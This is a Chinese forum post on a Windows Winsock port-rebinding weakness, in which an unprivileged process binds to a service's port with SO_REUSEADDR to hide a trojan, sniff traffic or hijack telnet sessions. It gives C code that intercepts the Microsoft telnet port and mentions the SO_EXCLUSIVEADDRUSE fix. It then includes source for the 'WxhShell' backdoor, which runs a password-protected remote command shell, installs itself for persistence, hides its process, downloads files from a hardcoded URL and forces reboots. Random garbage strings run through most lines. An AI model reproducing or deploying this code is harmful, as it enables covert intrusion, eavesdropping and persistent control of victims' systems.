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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Uiv;0Tovl  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); j#<#o:If  
6@; w%Ea  
  saddr.sin_family = AF_INET; X}h{xl   
[&3G `8hY  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); f+1)Ju~  
#^%Rk'W  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); /,$6`V  
daY^{u3  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 >{ne!  
RkP7}ZA;  
  这意味着什么?意味着可以进行如下的攻击: pG:FDlR~  
IgR_p7['.  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ?gH[tN:=  
0JKbp*H  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Q3_ia 5 `O  
{- 7T\mj  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 FzFY2h;n]B  
W5EB+b49KM  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ,`S"nq  
`{ou4H\  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 \[ +ZKj:  
80c\O-{  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 akrEZ7A  
N;;!ObVHnP  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Z!^iPB0~D  
bmzs!fg_~R  
  #include ~KHp~Xs`  
  #include 71w  
  #include 4}LGE>  
  #include    ATPc ~f  
  DWORD WINAPI ClientThread(LPVOID lpParam);   X 4;+`  
  int main() ]ZHC*r2i  
  { %l5Uy??Z  
  WORD wVersionRequested; A!W(>  
  DWORD ret; SN\;&(?G  
  WSADATA wsaData; =DcKHL(m  
  BOOL val; yrE|cH'f0  
  SOCKADDR_IN saddr; )I$_wB!UV  
  SOCKADDR_IN scaddr; JG0TbM1(Bt  
  int err; CYes'lr  
  SOCKET s; yngSD`b_P  
  SOCKET sc; LtXFGPQf  
  int caddsize; V~NS<!+q  
  HANDLE mt; 8{epy  
  DWORD tid;   d=Q0 /sI&  
  wVersionRequested = MAKEWORD( 2, 2 ); L`yS '  
  err = WSAStartup( wVersionRequested, &wsaData ); - "h {B  
  if ( err != 0 ) { q}1AV7$Ai  
  printf("error!WSAStartup failed!\n"); i *nNu-g  
  return -1; q@r8V&-<  
  } m:ITyQ+  
  saddr.sin_family = AF_INET; E.}T.St  
   6*tI~  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 \6 2|w HX  
"72 _Sw  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ^#vWdOlt  
  saddr.sin_port = htons(23); QU8?/  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) h9 [ov)  
  { \b{=&B[Q$'  
  printf("error!socket failed!\n"); Vdh5s292h  
  return -1; Ag#p )  
  } W5HC7o\4  
  val = TRUE; <G}>Gk8x  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 '!b1~+PV  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Nq9@^ E-{M  
  { KZsSTB6J  
  printf("error!setsockopt failed!\n"); {CYFM[V  
  return -1; yLipuMNV  
  } $l7 <j_C  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; *=UEx0_!q  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 OiJ1&Fz(  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 u2@:[:Ao  
k 32 Jz.\B  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) $:{uF#  
  { AW%^Xt  
  ret=GetLastError(); ]M-j_("&  
  printf("error!bind failed!\n"); z;2kKQZm  
  return -1; NIQNzq?a^  
  } bTb|@  
  listen(s,2); lk)38.  
  while(1) A@f`g[q  
  { xCiY jl$  
  caddsize = sizeof(scaddr); rcY[jF  
  //接受连接请求 NcwZ_*sqj  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Bd31> %6  
  if(sc!=INVALID_SOCKET) doW_v u  
  { 5O]ph[7  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); _ ?xORzO  
  if(mt==NULL) B14z<x}Q  
  { R*'rg-d  
  printf("Thread Creat Failed!\n"); !%_}Rv!JT  
  break; !J3g,p*  
  } sJw#^l  
  } W(9-XlYKE  
  CloseHandle(mt); =M*31>"I0  
  } Nd%,V  
  closesocket(s); > CZ|Vx  
  WSACleanup(); j_j~BXhIS  
  return 0; i%:oO KI  
  }   s1?N&t8c  
  DWORD WINAPI ClientThread(LPVOID lpParam) &Plc  
  { [yW0U:m  
  SOCKET ss = (SOCKET)lpParam; X8GIRL)lJ  
  SOCKET sc; ; SagN  
  unsigned char buf[4096]; |Q@4F&k  
  SOCKADDR_IN saddr; z^ rf;  
  long num; =NQDxt}  
  DWORD val; @9~6+BZOq  
  DWORD ret; g-bHf]'  
  //如果是隐藏端口应用的话,可以在此处加一些判断 F $^RM3  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   eYOwdTrq  
  saddr.sin_family = AF_INET; ;S7MP`o@  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); K_G( J>  
  saddr.sin_port = htons(23); e)zE*9  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7:)=  
  { }} J?, >g  
  printf("error!socket failed!\n"); z)#I"$!d  
  return -1; Vof[yL `  
  } H"=%|/1M0  
  val = 100; kD8$ir'UYG  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^yb3L1y  
  { 9i;%(b{  
  ret = GetLastError(); N>/!e787OU  
  return -1; %-/[.DYt  
  } =e$<[ "  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1~zzQ:jAZ  
  { YNRpIhb  
  ret = GetLastError(); Fw)#[  
  return -1; /q^)thJ~  
  } $BXZFC_1S  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) #.'0DWT \-  
  { !D!~4h)  
  printf("error!socket connect failed!\n"); mCb(B48]%X  
  closesocket(sc); a`  s2 z  
  closesocket(ss); FAX|.!US*p  
  return -1; jAie[5  
  }  MX2]Q  
  while(1) lA<n}N)j  
  { ;:4&nJ*qG  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 P<ElH 3J`  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ]bLI!2Kr  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 u!hY bCB  
  num = recv(ss,buf,4096,0); .!e):&(8  
  if(num>0) 2!Yq9,`  
  send(sc,buf,num,0); A<fKO <d  
  else if(num==0) ;4>YPH  
  break; Tty_P,  
  num = recv(sc,buf,4096,0);  sC1Mwx  
  if(num>0) @a$_F3W  
  send(ss,buf,num,0); dWqKt0uh!  
  else if(num==0) t~]n"zgovz  
  break; Y3=5J\d!a  
  } #s>AiD  
  closesocket(ss); 8eq*q   
  closesocket(sc); cvxYuP~  
  return 0 ; >HNBTc=~t  
  } u atY:GSR  
)eIC5>#.  
`@TWZ%f6  
========================================================== ]^:sV)  
QxS] 6hA  
下边附上一个代码,,WXhSHELL w"ZngrwBl  
ndg1E;>  
========================================================== S52'!WTq  
~tx|C3A`d  
#include "stdafx.h" J_ NY:B  
'2Q[g0VR  
#include <stdio.h> u_H=Xm)9  
#include <string.h> 7+ +Fak  
#include <windows.h> \A7{kI  
#include <winsock2.h> *U>"_h T0  
#include <winsvc.h> Iue}AGxu:{  
#include <urlmon.h> !iv6k~.e'2  
/Js A[}.6  
#pragma comment (lib, "Ws2_32.lib") yX 9 .yq  
#pragma comment (lib, "urlmon.lib") }uP`=T!"8  
" GRR,7A  
#define MAX_USER   100 // 最大客户端连接数 & pHSX  
#define BUF_SOCK   200 // sock buffer qlSI|@CO  
#define KEY_BUFF   255 // 输入 buffer =jv3O.zq  
#dA9v7  
#define REBOOT     0   // 重启 !]f80z  
#define SHUTDOWN   1   // 关机 <<'%2q5  
=z >d GIT1  
#define DEF_PORT   5000 // 监听端口 +FomAs1*f  
)qSjI_qt5  
#define REG_LEN     16   // 注册表键长度 ]31>0yj[Q  
#define SVC_LEN     80   // NT服务名长度 4 .Kl/b;  
n8 UG{. =  
// 从dll定义API I]GGmN  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !0-KB#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); E'-lpE  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); j<NZ4Rf  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0JT"Pv_  
D/[;Y<X#V  
// wxhshell配置信息 n?Zt\Kto  
struct WSCFG { w#6)XR|+,.  
  int ws_port;         // 监听端口 HuT4OGBFpC  
  char ws_passstr[REG_LEN]; // 口令 5 w-Pq&q  
  int ws_autoins;       // 安装标记, 1=yes 0=no $8>kk  
  char ws_regname[REG_LEN]; // 注册表键名 hgg 8r#4q  
  char ws_svcname[REG_LEN]; // 服务名 OQ(w]G0LP  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +Vv+<M  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 l bs0i  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Xwp6]lx  
int ws_downexe;       // 下载执行标记, 1=yes 0=no mH.c`*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" wqxChTbs  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0oK_uY 4g  
cMs8D  
}; ygK@\JHn  
3vXa#f>P<  
// default Wxhshell configuration kB` @M>[  
struct WSCFG wscfg={DEF_PORT, e"#QUc(  
    "xuhuanlingzhe", niA>afo  
    1, 1.0:  
    "Wxhshell", a = *'  
    "Wxhshell", Ztl?*zL  
            "WxhShell Service", 'm=TBNQTS  
    "Wrsky Windows CmdShell Service", ^[x6p}$  
    "Please Input Your Password: ", Ab #}BHI  
  1, v6U Gr4  
  "http://www.wrsky.com/wxhshell.exe", *{:Zdg'~E  
  "Wxhshell.exe" 5GK> ~2c(  
    }; 'XJqh|G  
[][ze2+b  
// 消息定义模块 E "%d O  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ; ,Nvg6c  
char *msg_ws_prompt="\n\r? for help\n\r#>"; >sjvE4s  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !C(U9p. 0  
char *msg_ws_ext="\n\rExit."; ^jb jH I&  
char *msg_ws_end="\n\rQuit."; F/SYmNp  
char *msg_ws_boot="\n\rReboot..."; R ;k1(p  
char *msg_ws_poff="\n\rShutdown..."; z0H+Or  
char *msg_ws_down="\n\rSave to "; Qz4eQlWhp  
>,x&L[3  
char *msg_ws_err="\n\rErr!"; 'yo-`nNFD  
char *msg_ws_ok="\n\rOK!"; BT)PD9CN(  
WA6reZ  
char ExeFile[MAX_PATH]; K 0e*K=UM  
int nUser = 0; |.KB  
HANDLE handles[MAX_USER]; `pb=y}  
int OsIsNt; BZQ"[-V{  
M ~ ;]d  
SERVICE_STATUS       serviceStatus; H Y~[/H+:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -zg 6^f_pW  
/HH_Zi0?N|  
// 函数声明 .wV-g:2  
int Install(void); ?o1QjDG  
int Uninstall(void); 00B,1Q HP  
int DownloadFile(char *sURL, SOCKET wsh); $D='NzE/  
int Boot(int flag); *ESi~7;#  
void HideProc(void); aX,6y1  
int GetOsVer(void); KV8Ok  
int Wxhshell(SOCKET wsl); 5O(U1 *  
void TalkWithClient(void *cs); Nwj M=GG  
int CmdShell(SOCKET sock); u4tv= +jh  
int StartFromService(void); Tn"@u&P *  
int StartWxhshell(LPSTR lpCmdLine); 7{tU'`P>  
W|Cs{rBc?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); j #~ S"t  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ov<vSc<u  
\_(|$Dhq  
// 数据结构和表定义 nx(jYXVT  
SERVICE_TABLE_ENTRY DispatchTable[] = 0.S7uH%"  
{ C#V_Gb  
{wscfg.ws_svcname, NTServiceMain}, }hE!0q~MfM  
{NULL, NULL} /PVx  
}; 0GW69 z  
5yyc 0UG  
// 自我安装 4/V;g%0uN;  
int Install(void) TNDp{!<|L;  
{ Q@"}v_r4  
  char svExeFile[MAX_PATH]; ]u^ybW"  
  HKEY key; 7z_ZD0PxPc  
  strcpy(svExeFile,ExeFile); JXV#V7  
ev #/v:$?  
// 如果是win9x系统,修改注册表设为自启动 9?q ^yy  
if(!OsIsNt) { nA(5p?D+YB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l,6' S8=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  1p K(tm  
  RegCloseKey(key); "Lyb4#M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #eF,* d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j u&v4]  
  RegCloseKey(key); <*I*#WI&B  
  return 0; A{dqB  
    } s{OV-H  
  } `z`=!1  
}  HzL~B#  
else { %ikPz~(  
]Exbuc  
// 如果是NT以上系统,安装为系统服务 k]A =Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); n<P&|RTZ  
if (schSCManager!=0) qm<-(Qc(W  
{ Ng1bjq}E2  
  SC_HANDLE schService = CreateService TS`m&N{i")  
  ( 6"[J[7up  
  schSCManager, g[' 7$  
  wscfg.ws_svcname, '0^lMQMg  
  wscfg.ws_svcdisp, ly69:TR7I  
  SERVICE_ALL_ACCESS, /U,(u9bq  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , u aYI3w@^  
  SERVICE_AUTO_START, 1Vkb}A,'  
  SERVICE_ERROR_NORMAL, [wk1p-hf  
  svExeFile, Y3#8]Z_"}O  
  NULL, 7xM4=\~OG  
  NULL, :]4s;q:m  
  NULL, ^I9U<iNIL  
  NULL, ^F qs,^~W  
  NULL yRi5t{!V  
  ); mo9(2@~<  
  if (schService!=0) p(-EtxP  
  { *Kpw@4G   
  CloseServiceHandle(schService); *ZV3]ig2$  
  CloseServiceHandle(schSCManager); ecx_&J@D  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !u:Fn)j  
  strcat(svExeFile,wscfg.ws_svcname); ?^J%S,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -aLM*nIoe  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); W0;QufV  
  RegCloseKey(key); jd2 p~W  
  return 0; ]N,'3`&::  
    } n^rbc ;}  
  } !acuOBv,  
  CloseServiceHandle(schSCManager); h+7U'+|%A  
} lKf kRyO_S  
} nVrV6w  
PbY.8d%2/k  
return 1; $2Awp@j  
} 8#R%jjr%T  
G({5LjgW  
// 自我卸载 QkWEVL@uM  
int Uninstall(void) w#_7,*6]  
{ qY!LzKM0  
  HKEY key; W4qnXD1n  
^$mCF%e8H  
if(!OsIsNt) { 4`'Rm/)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dKP| TRd  
  RegDeleteValue(key,wscfg.ws_regname); 4uH} SG[  
  RegCloseKey(key); ?9 W2ax-4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { eoFG$X/PO  
  RegDeleteValue(key,wscfg.ws_regname); dNCd-ep  
  RegCloseKey(key); 's5H_ah  
  return 0; K47.zu  
  } tk)}4b^\%j  
} V3T.EW  
} h#Mx(q  
else { 3''Uxlo\  
A/&u /?*C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1NG[   
if (schSCManager!=0) F&#I[]#  
{ eL'fJcjw<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Dw 5Ze  
  if (schService!=0) fB&i{_J  
  { zsj]WP6 j  
  if(DeleteService(schService)!=0) { *3h_'3yo@  
  CloseServiceHandle(schService); VZe'6?#  
  CloseServiceHandle(schSCManager); _{ 2`sL)  
  return 0; kyZZ0  
  } |MN2v[y  
  CloseServiceHandle(schService); ~]Av$S  
  } _,v>P2)  
  CloseServiceHandle(schSCManager); 9. ,IqnP  
} @$CPTv3e  
} KZ1m 2R}'  
*v: .]_;  
return 1; 6ZwQ/~7H  
} 8M,z#DF  
bSQj=|h1  
// 从指定url下载文件 DjiI*HLNR  
int DownloadFile(char *sURL, SOCKET wsh) il"pKQF  
{ >) Bv>HM  
  HRESULT hr; t?b@l<, s  
char seps[]= "/"; <[T{q |*  
char *token; $VP\Ac,!  
char *file; I)9 ,  
char myURL[MAX_PATH]; VV#'d  
char myFILE[MAX_PATH]; #)i+'L8  
' QjJ^3A  
strcpy(myURL,sURL); XWX]/j2jA  
  token=strtok(myURL,seps); DwK$c^2q{.  
  while(token!=NULL) B/mfm 7  
  { 4H@7t,>  
    file=token; b7">IzAe  
  token=strtok(NULL,seps); UZ6y3%G3^  
  } (=Oo=8\  
.]a`-Ofn  
GetCurrentDirectory(MAX_PATH,myFILE); m?1r@!/y  
strcat(myFILE, "\\"); "\]]?&  
strcat(myFILE, file); eht>4)  
  send(wsh,myFILE,strlen(myFILE),0); ;>fM?ae5  
send(wsh,"...",3,0); biForT_no  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); PBcb*7W  
  if(hr==S_OK) *(XGNp[0  
return 0; bPkz=^-  
else pB]*cd B?  
return 1; T11>&K)  
Q~n%c7  
} 3hEbM'L  
KdzV^6K<c  
// 系统电源模块 -G'3&L4 D  
int Boot(int flag) ] r%fAm j  
{ 3qDbfO[  
  HANDLE hToken; L s3r( Tf  
  TOKEN_PRIVILEGES tkp; )>iPx.hVSS  
;?TM_%>  
  if(OsIsNt) { V&/Cb&~Uw  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >z% WW&Z'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <xrya _R?  
    tkp.PrivilegeCount = 1; : w>R|]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; bb+iUV|Do  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -6X+:r`>u  
if(flag==REBOOT) { zz<o4b R  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) T-x9IoE  
  return 0; "ub0}p4V  
} r^ '  
else { RMid}BRE  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) DK'S4%;Sp  
  return 0; \C2HeA\#SW  
} Gv[(0  
  } 7 9k+R9m  
  else { P?jI:'u!R.  
if(flag==REBOOT) { NF-@Q@  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4af^SZ )l  
  return 0; `D$RL*C;M`  
} G,1g~h%I$  
else { }I#_H  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) v-"nyy-&Z  
  return 0; !kH 1|  
} O*n@!ye  
} l%?()]y  
92N`Q}  
return 1; KFaYn  
} |@f\[v9`  
ICc:k%wE7  
// win9x进程隐藏模块 9C!b f \  
void HideProc(void)  9/I xh?  
{ [o7Qr?RN  
=+[` 9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [9F  
  if ( hKernel != NULL ) "5EL+z3v  
  { 6?JvvS5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); q]s_hWWv  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); t\v~ A0  
    FreeLibrary(hKernel); [l7n "gJ~  
  } +Z=y/wY  
f|3LeOyz  
return; ~0}d=d5g  
} 'e$8 IZm  
2p58_^l  
// 获取操作系统版本 o!c~"  
int GetOsVer(void) 'TA !JB+  
{ pTncx%!W5  
  OSVERSIONINFO winfo; 6 .[3N~pq  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;hEeFJ=/G  
  GetVersionEx(&winfo); 1F+JyZK}w  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )@=fGNDt  
  return 1; am7~  
  else yb0Mn*X+ N  
  return 0; P{: 5i%qC  
} Wd ga(8t  
b d C  
// 客户端句柄模块 8,e%=7h_e  
int Wxhshell(SOCKET wsl) e+<9Sh7&  
{ 5ci1ce  
  SOCKET wsh; T {=&>pNK[  
  struct sockaddr_in client; @%fL*^yr;C  
  DWORD myID; k/BlkjlNE  
lvLz){  
  while(nUser<MAX_USER) p9S>H  
{ [| N73m,&  
  int nSize=sizeof(client); k[f_7lJ2  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); oR3t vw.  
  if(wsh==INVALID_SOCKET) return 1; ft4hzmuzM  
/bo`@ !-#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); mrr -jo  
if(handles[nUser]==0) mMO]l(a&  
  closesocket(wsh); FchO 6O  
else Az:A,;~+,!  
  nUser++; 8q:# '  
  } :sA UV79M  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ["<'fq;PJ  
#%V+- b(  
  return 0; )HX(-"c  
} {A)9ePgv!  
\BO6.;jA  
// 关闭 socket +AFBTJ  
void CloseIt(SOCKET wsh) <\P `<  
{ g0-rQA  
closesocket(wsh); )l`VE_(|  
nUser--; 0ZZ Wj%  
ExitThread(0); wyLyPJv  
} \eRct_  
/Ba/gq0j  
// 客户端请求句柄 *>xCX  
void TalkWithClient(void *cs) . lNf.x#u  
{ cIP%t pTW.  
+*aC \4w  
  SOCKET wsh=(SOCKET)cs; e{ *yV#Wl  
  char pwd[SVC_LEN]; ;<nJBZB9u  
  char cmd[KEY_BUFF]; @Qp#Tg<'  
char chr[1]; Gi*_ &  
int i,j; Hxleh><c-  
agQD d8oX  
  while (nUser < MAX_USER) { vF/wV'Kk  
e0<O6  
if(wscfg.ws_passstr) { nyBT4e  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Zq5~M bldh  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9\0$YY%  
  //ZeroMemory(pwd,KEY_BUFF); T8yMaC  
      i=0; io@f5E+?  
  while(i<SVC_LEN) { *.Z~f"SZy*  
6qWWfm/6  
  // 设置超时 V7cr%tY5  
  fd_set FdRead; J"TF@7{p  
  struct timeval TimeOut; X}g3[  
  FD_ZERO(&FdRead); ,,BWWFg~  
  FD_SET(wsh,&FdRead); w6pXF5ur>  
  TimeOut.tv_sec=8; 3e1P!^'\  
  TimeOut.tv_usec=0; w"? RbA  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); LC\U6J't1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); TO G:N~  
!0F+qzGG7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G^eXJusOv  
  pwd=chr[0]; KKWv V4u  
  if(chr[0]==0xd || chr[0]==0xa) { EBr?>hl  
  pwd=0; c%1{l]   
  break; ;WgUhA ;q  
  } Kx?8 HA[5  
  i++; ,_Kr}RH  
    } <y&&{*KW8m  
Ys&)5j-  
  // 如果是非法用户,关闭 socket ;k ,@^f8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ? PpS4Rd  
} 2gR*]?C*  
1+YqdDqQ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); P+QL||>L  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); syI|gANT/r  
'g3T'2"`5  
while(1) { V)vik  
8IE^u<H(:  
  ZeroMemory(cmd,KEY_BUFF); %Y>E  
&So1;RR,_M  
      // 自动支持客户端 telnet标准   j0s$}FPUI  
  j=0; o^m?w0 \  
  while(j<KEY_BUFF) { 5G$5d:[(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !e*T. 1Kz  
  cmd[j]=chr[0]; 5HIQw9g6  
  if(chr[0]==0xa || chr[0]==0xd) { U.JE \/  
  cmd[j]=0; i83[':  
  break; Q|e-)FS)  
  } 90K&oof?M  
  j++; nd7g8P9p  
    } a,r B7aD  
w4M;e;8m[U  
  // 下载文件 0=K8 nxdx  
  if(strstr(cmd,"http://")) { MH9vg5QKp  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +_+j"BT  
  if(DownloadFile(cmd,wsh)) ww #kc!'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6CSoQ|c{  
  else 0%4OmLBT  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %%zlqd"0  
  } e[0"x. gu  
  else { n9n)eI)R  
p@[ fZj  
    switch(cmd[0]) { < fV][W  
  yc`*zLWh  
  // 帮助 J0oeCb  
  case '?': { +-,iC6kK  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Vjw u:M  
    break; JbQY{z!  
  } -3guuT3x\  
  // 安装 mCG&=Fx  
  case 'i': { $L?KNXHAF!  
    if(Install()) d325Cw?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vm'ZA7f6  
    else CPMGsW^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RBBmGZ  
    break; >k/cm3  
    } U4<c![Pp.  
  // 卸载 51y#A Q@  
  case 'r': { h72CGA|  
    if(Uninstall()) " 0m4&K(3,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tC5-^5[y  
    else UGj |)/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~QDM .5  
    break; !a-B=pn!]  
    } 0!7p5  
  // 显示 wxhshell 所在路径 ! Dj2/][  
  case 'p': { V; CPn  
    char svExeFile[MAX_PATH]; S!+>{JyQ  
    strcpy(svExeFile,"\n\r"); y@I t#!u0  
      strcat(svExeFile,ExeFile); o]<9wc:FZ  
        send(wsh,svExeFile,strlen(svExeFile),0); _SJ:|I  
    break; u6 Lx3  
    } :tI F*pC  
  // 重启 R&a$w8  
  case 'b': { 0H]{,mVs  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); a @d 15CN  
    if(Boot(REBOOT)) 9dBxCdpu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,&qC R sw  
    else { t(9q 6x3|e  
    closesocket(wsh); }m~MN4 l  
    ExitThread(0); @un+y9m[C  
    } Q2uV/M1?  
    break; 5j6`W?|q  
    } ~!!| #A)W  
  // 关机 |ns?c0rM  
